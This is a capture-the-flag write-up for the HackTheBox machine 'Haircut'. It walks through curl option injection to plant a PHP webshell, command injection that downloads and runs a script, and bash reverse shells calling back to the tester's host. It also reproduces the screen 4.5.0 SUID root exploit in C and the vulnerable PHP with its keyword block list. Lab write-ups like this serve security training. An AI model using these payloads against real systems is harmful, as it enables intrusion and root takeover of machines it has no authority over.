HTB: Haircut
Haircut started with some web enumeration where I’ll find a PHP site invoking curl. I’ll use parameter injection to write a webshell to the server and get execution. I’ll also enumerate the filters and find a way to get command execution in the page itself. To jump to root, I’ll identify a vulnerable version of screen that is set SUID (which is normal). I’ll walk through this exploit. In Beyond Root, I’ll take a quick look at the filtering put in place in the PHP page.
Box Info
Name | Haircut Play on HackTheBox |
---|---|
Release Date | 26 May 2017 |
Retire Date | 30 Sep 2017 |
OS | Linux |
Base Points | Medium [30] |
Rated Difficulty | |
Radar Graph | |
00:16:16 |
|
01:13:30 |
|
Creator |
Recon
nmap
nmap
found two open TCP ports, SSH (22) and HTTP (80):
root@kali# nmap -p- --min-rate 10000 -oA scans/nmap-alltcp 10.10.10.24
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-03 15:51 EDT
Nmap scan report for 10.10.10.24
Host is up (0.017s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 7.67 seconds
root@kali# nmap -sC -sV -p 22,80 -oA scans/nmap-tcpscripts 10.10.10.24
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-03 15:51 EDT
Nmap scan report for 10.10.10.24
Host is up (0.015s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 e9:75:c1:e4:b3:63:3c:93:f2:c6:18:08:36:48:ce:36 (RSA)
| 256 87:00:ab:a9:8f:6f:4b:ba:fb:c6:7a:55:a8:60:b2:68 (ECDSA)
|_ 256 b6:1b:5c:a9:26:5c:dc:61:b7:75:90:6c:88:51:6e:54 (ED25519)
80/tcp open http nginx 1.10.0 (Ubuntu)
|_http-server-header: nginx/1.10.0 (Ubuntu)
|_http-title: HTB Hairdresser
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.00 seconds
Based on the OpenSSH version, the host is likely running Ubuntu 16.04 Xenial.
Website - TCP 80
Site
The site just has a large image of a woman:
The HTML confirms that’s all there is here:
root@kali# curl http://10.10.10.24
<!DOCTYPE html>
<title> HTB Hairdresser </title>
<center> <br><br><br><br>
<img src="bounce.jpg" height="750" width="1200" alt="" />
<center>
Directory Brute Force
I’ll run gobuster
against the site, and include -x php
since these kinds of hosts often run PHP (especially in older boxes):
root@kali# gobuster dir -u http://10.10.10.24 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 40 -x php -o scans/go
buster-root-med-php
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.10.24
[+] Threads: 40
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: php
[+] Timeout: 10s
===============================================================
2020/09/03 19:55:45 Starting gobuster
===============================================================
/uploads (Status: 301)
/exposed.php (Status: 200)
===============================================================
2020/09/03 19:59:20 Finished
===============================================================
Those are both potentially interesting. Visiting /uploads
just returns a 403 forbidden.
/exposed.php
This site has a place to enter a URL and a Go button:
If I submit the example URL, it returns stats about retrieving the page and what looks like a page:
I’ll check http://10.10.10.24/test.html
,and it is the same page that is displayed here.
Can it check pages on my host? I started a Python webserver and then entered http://10.10.14.15/test.html
into the bar and hit submit:
The webserver shows the request and that it returned 404:
root@kali# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.24 - - [03/Sep/2020 20:02:41] code 404, message File not found
10.10.10.24 - - [03/Sep/2020 20:02:41] "GET /test.html HTTP/1.1" 404 -
I tried a simple PHP script to see if the server would include the PHP and run it:
root@kali# echo '<?php echo "test\n"; ?>' > test.php
When I submitted this page into the form, I didn’t see test
on the result. In the source, it was there:
<html>
<head>
<title>Hairdresser checker</title>
</head>
<body>
<form action='exposed.php' method='POST'>
<span>
<p>
Enter the Hairdresser's location you would like to check. Example: http://localhost/test.html
</p>
</span>
<input type='text' name='formurl' id='formurl' width='50' value='http://localhost/test.html'/>
<input type='submit' name='submit' value='Go' id='submit' />
</form>
<span>
<p>Requesting Site...</p> % Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0
100 24 100 24 0 0 815 0 --:--:-- --:--:-- --:--:-- 827
<?php echo "test\n"; ?>
</span>
</body>
</html>
So the page is not running input collected via this method.
Shell as www-data
Identify Vulnerability
Looking back at the status messages being output to the screen, it reminded me of what curl
prints when it’s output is piped to another process. For example, in this case I’ll just pipe to tee /dev/null
(effectively doing nothing) to see the output:
root@kali# curl 10.10.10.24 | tee /dev/null
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 144 100 144 0 0 5333 0 --:--:-- --:--:-- --:--:-- 5333
<!DOCTYPE html>
<title> HTB Hairdresser </title>
<center> <br><br><br><br>
<img src="bounce.jpg" height="750" width="1200" alt="" />
<center>
My best guess at this point is that the PHP is doing something like:
if post
system('curl ' . $POST["formurl"] . ' /path/to/some/directory')
end if
Depending on what level of filtering is going on (if any), that could be vulnerable to a command injection and/or parameter injection attacks.
Filter Enumeration
The first thing I tried was to fetch http://10.10.14.15/test.php; ping -c 1 10.10.14.15;
. The return shows that there’s some level of filtering going on:
<span>
<p>Requesting Site...</p>; is not a good thing to put in a URL </span>
I found a handful of other characters that seem to set off the filter: &|!#%[]{}
.
Option Injection
If I’m going to have trouble running a different command, could I at least mess with curl
by injecting options. If I send http://10.10.14.15/test.php -b testcookie=testvalue
, I can watch on nc
to see if the cookie is included in the request. It is:
root@kali# nc -lknvp 80
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from 10.10.10.24.
Ncat: Connection from 10.10.10.24:48118.
GET /test.php HTTP/1.1
Host: 10.10.14.15
User-Agent: curl/7.47.0
Accept: */*
Cookie: test=test
I was successfully able to injection a curl
option.
Upload Webshell
Instead of a cookie, I’ll use -o
to save the file on Haircut. I can save it into the uploads
directory and see if it will run as PHP there. When I submit http://10.10.14.15/cmd.php -o uploads/0xdf.php
, I only see the status come back:
When I check for my shell, it’s there:
root@kali# curl http://10.10.10.24/uploads/0xdf.php?cmd=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Shell
To go to a real shell, I’ll start nc
and send that command to the webshell:
root@kali# curl -G http://10.10.10.24/uploads/0xdf.php --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/10.10.14.15/443 0>&1'"
At a nc
listener:
root@kali# nc -lnvp 443
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.24.
Ncat: Connection from 10.10.10.24:43828.
bash: cannot set terminal process group (1225): Inappropriate ioctl for device
bash: no job control in this shell
www-data@haircut:~/html/uploads$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Alternative Injection
I noticed the none of `$()
were triggering the filter, so I went for command injection that way as well. The curl
command throws errors onto the page:
root@kali# curl http://10.10.10.24/exposed.php -d 'formurl=10.10.14.15/$(ping -c 1 10.10.14.15)&submit=go'
<html>
<head>
<title>Hairdresser checker</title>
</head>
<body>
<form action='exposed.php' method='POST'>
<span>
<p>
Enter the Hairdresser's location you would like to check. Example: http://localhost/test.html
</p>
</span>
<input type='text' name='formurl' id='formurl' width='50' value='http://localhost/test.html'/>
<input type='submit' name='submit' value='Go' id='submit' />
</form>
<span>
<p>Requesting Site...</p>curl: option ---: is unknown
curl: try 'curl --help' or 'curl --manual' for more information
</span>
</body>
</html>
But at tcpdump
I get pings:
root@kali# tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes
21:04:58.132878 IP 10.10.10.24 > 10.10.14.15: ICMP echo request, id 2117, seq 1, length 64
21:04:58.132924 IP 10.10.14.15 > 10.10.10.24: ICMP echo reply, id 2117, seq 1, length 64
Replacing $([command])
with `[command]`
also worked. All of the reverse shells I typically use contain other filtered characters. But I can use the command injection to upload a shell:
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.15/443 0>&1
Now I’ll upload it to Haircut with:
root@kali# curl http://10.10.10.24/exposed.php --data-urlencode 'formurl=10.10.14.15/$(curl 10.10.14.15/shell.sh -o /tmp/0xdf)' --data-urlencode 'submit=go'
That will reach out to my webserver, download shell.sh
to /tmp/0xdf
. Now I’ll use the same technique to chmod
to make the file executable:
root@kali# curl http://10.10.10.24/exposed.php --data-urlencode 'formurl=10.10.14.15/$(curl 10.10.14.15/shell.sh -o /tmp/0xdf)' --data-urlencode 'submit=go'
And one last time to run it:
root@kali# curl http://10.10.10.24/exposed.php --data-urlencode 'formurl=10.10.14.15/$(/tmp/rev)' --data-urlencode 'submit=go'
At nc
:
root@kali# nc -lnvp 443
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.24.
Ncat: Connection from 10.10.10.24:43906.
bash: cannot set terminal process group (1225): Inappropriate ioctl for device
bash: no job control in this shell
www-data@haircut:~/html$
user.txt
No matter how I get a shell, I can now grab user.txt
:
www-data@haircut:/home/maria/Desktop$ cat user.txt
0b0da2af************************
Shell as root
Enumeration
In checking for SUID files, I found /usr/bin/screen-4.5.0
:
www-data@haircut:~$ find / -perm -4000 -o -perm -2000 -type f 2>/dev/null
/bin/ntfs-3g
/bin/ping6
/bin/fusermount
/bin/su
/bin/mount
/bin/ping
/bin/umount
/sbin/unix_chkpwd
/sbin/pam_extrausers_chkpwd
/usr/bin/sudo
/usr/bin/mlocate
/usr/bin/pkexec
/usr/bin/chage
/usr/bin/screen.old
/usr/bin/newuidmap
/usr/bin/crontab
/usr/bin/bsd-write
/usr/bin/newgrp
/usr/bin/newgidmap
/usr/bin/expiry
/usr/bin/gpasswd
/usr/bin/ssh-agent
/usr/bin/at
/usr/bin/passwd
/usr/bin/screen-4.5.0
/usr/bin/chsh
/usr/bin/wall
/usr/bin/chfn
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/x86_64-linux-gnu/utempter/utempter
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
This jumped out to me because I ran into this during OSCP. There’s a vulnerability in SUID screen
and it happens to be for that version.
Exploit Details
In Screen version 4.5.0, if the user specifies a log file, the program will open and append to that log file. Because screen
is typically set to SUID to function, that means write as root.
There is an exploit in ExploitDB which consists of one long Bash script. I’ll break it into pieces to walk through it (some mods would need to be made anyway).
Most of the exploit is creating and compiling two binary files. First, it creates a shared object / library:
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
This library has a dropshell
function that is marked as __attribute__ ((__constructor__))
. This means it will run before execution enters main. It is very simple. It just changes the owner of /tmp/rootshell
to root:root, then changes the permissions to be SUID, removes the file /etc/ld.so.preload
, and prints a message. This code is compiled into /tmp/libhax.so
Next the script creates /tmp/rootshell
:
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
It simply sets all the user and group ids to root and runs /bin/sh
.
Now to the exploit. It’ll move into /etc
, and then run the following screen
command:
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
The options are as follows:
-D -m
- Startscreen
in “detached” mode, but don’t fork a new process, exiting when the session terminates-L ld.so.preload
- turn on automatic output logging for the windowecho -ne "\x0a/tmp/libhax.so"
- command to run in the session, printing a newline followed by the path to the malicious library
So this will start screen output the path to the library, which will be logged to the /etc/ld.so.preload
file, and then exit.
/etc/ld.so.preload
holds a list of libraries that will attempt to be loaded each time any program is run. So the next time something runs as root, the malicious library will run as root. The script kicks that off by calling screen again:
screen -ls # screen itself is setuid, so...
Finally, it will call the now SUID /tmp/rootshell
.
Run It
I tried to just upload the script to Haircut and run it, but it had some issue compiling things locally. I resorted to compiling locally on my host. I’ll create the two c files on my VM, and then compile them:
root@kali# gcc -fPIC -shared -ldl -o libhax.so libhax.c
libhax.c: In function ‘dropshell’:
libhax.c:7:5: warning: implicit declaration of function ‘chmod’ [-Wimplicit-function-declaration]
7 | chmod("/tmp/rootshell", 04755);
| ^~~~~
root@kali# gcc -o rootshell rootshell.c
rootshell.c: In function ‘main’:
rootshell.c:3:5: warning: implicit declaration of function ‘setuid’ [-Wimplicit-function-declaration]
3 | setuid(0);
| ^~~~~~
rootshell.c:4:5: warning: implicit declaration of function ‘setgid’ [-Wimplicit-function-declaration]
4 | setgid(0);
| ^~~~~~
rootshell.c:5:5: warning: implicit declaration of function ‘seteuid’ [-Wimplicit-function-declaration]
5 | seteuid(0);
| ^~~~~~~
rootshell.c:6:5: warning: implicit declaration of function ‘setegid’ [-Wimplicit-function-declaration]
6 | setegid(0);
| ^~~~~~~
rootshell.c:7:5: warning: implicit declaration of function ‘execvp’ [-Wimplicit-function-declaration]
7 | execvp("/bin/sh", NULL, NULL);
| ^~~~~~
rootshell.c:7:5: warning: too many arguments to built-in function ‘execvp’ expecting 2 [-Wbuiltin-declaration-mismatch]
There are some warnings, but both binaries exist:
root@kali# ls -l libhax.so rootshell
-rwxrwx--- 1 root vboxsf 16136 Sep 3 22:23 libhax.so
-rwxrwx--- 1 root vboxsf 16824 Sep 3 22:23 rootshell
I’ll upload both of those to /tmp
on Haircut:
www-data@haircut:/tmp$ wget 10.10.14.15/libhax.so
--2020-09-04 04:26:26-- http://10.10.14.15/libhax.so
Connecting to 10.10.14.15:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 16136 (16K) [application/octet-stream]
Saving to: 'libhax.so'
libhax.so 100%[===================>] 15.76K --.-KB/s in 0.02s
2020-09-04 04:26:26 (1013 KB/s) - 'libhax.so' saved [16136/16136]
www-data@haircut:/tmp$ wget 10.10.14.15/rootshell
--2020-09-04 04:26:30-- http://10.10.14.15/rootshell
Connecting to 10.10.14.15:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 16824 (16K) [application/octet-stream]
Saving to: 'rootshell'
rootshell 100%[===================>] 16.43K --.-KB/s in 0.02s
2020-09-04 04:26:30 (1.04 MB/s) - 'rootshell' saved [16824/16824]
Now to execute, I’ll change into /etc
, set the umask
, and run screen
(making sure to get the right one):
www-data@haircut:/tmp$ cd /etc/
www-data@haircut:/etc$ umask 000
www-data@haircut:/etc$ screen-4.5.0 -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
At this point, ld.so.preload
should have the reference to /tmp/libhax.so
(along with some other junk):
www-data@haircut:/etc$ cat ld.so.preload
' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
[+] done!
/tmp/libhax.so
Now I’ll get root to run something by running screen -ls
:
www-data@haircut:/etc$ screen-4.5.0 -ls
No Sockets found in /tmp/screens/S-www-data.
ld.so.preload
has been cleaned up:
www-data@haircut:/etc$ ls ld.so.preload
ls: cannot access 'ld.so.preload': No such file or directory
And the rootshell
is now SUID:
www-data@haircut:/etc$ ls -l /tmp/rootshell
-rwsr-xr-x 1 root root 16824 Sep 4 04:23 /tmp/rootshell
I can get a shell as root:
www-data@haircut:/etc$ /tmp/rootshell
# id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
And print root.txt
:
root@haircut:/root# cat root.txt
4cfa26d8************************
Beyond Root
A quick check to see what the filtering actually was in exposed.php
. The entire script was pretty short:
<html>
<head>
<title>Hairdresser checker</title>
</head>
<body>
<form action='exposed.php' method='POST'>
<span>
<p>
Enter the Hairdresser's location you would like to check. Example: http://localhost/test.html
</p>
</span>
<input type='text' name='formurl' id='formurl' width='50' value='http://localhost/test.html'/>
<input type='submit' name='submit' value='Go' id='submit' />
</form>
<span>
<?php
if(isset($_POST['formurl'])){
echo "<p>Requesting Site...</p>";
$userurl=$_POST['formurl'];
$naughtyurl=0;
$disallowed=array('%','!','|',';','python','nc','perl','bash','&','#','{','}','[',']');
foreach($disallowed as $naughty){
if(strpos($userurl,$naughty) !==false){
echo $naughty.' is not a good thing to put in a URL';
$naughtyurl=1;
}
}
if($naughtyurl==0){
echo shell_exec("curl ".$userurl." 2>&1");
}
}
?>
</span>
</body>
</html>
The filtering comes down to not only a handful of characters (all of which I was able to identify), but also a few strings:
$disallowed=array('%','!','|',';','python','nc','perl','bash','&','#','{','}','[',']');
It will loop over these for each request, checking if it is in the user input. If it is found, $naughty
is set to 1, and then curl
isn’t run.
The curl
looks much like I guessed, only it is using echo shell_exec
rather than system
.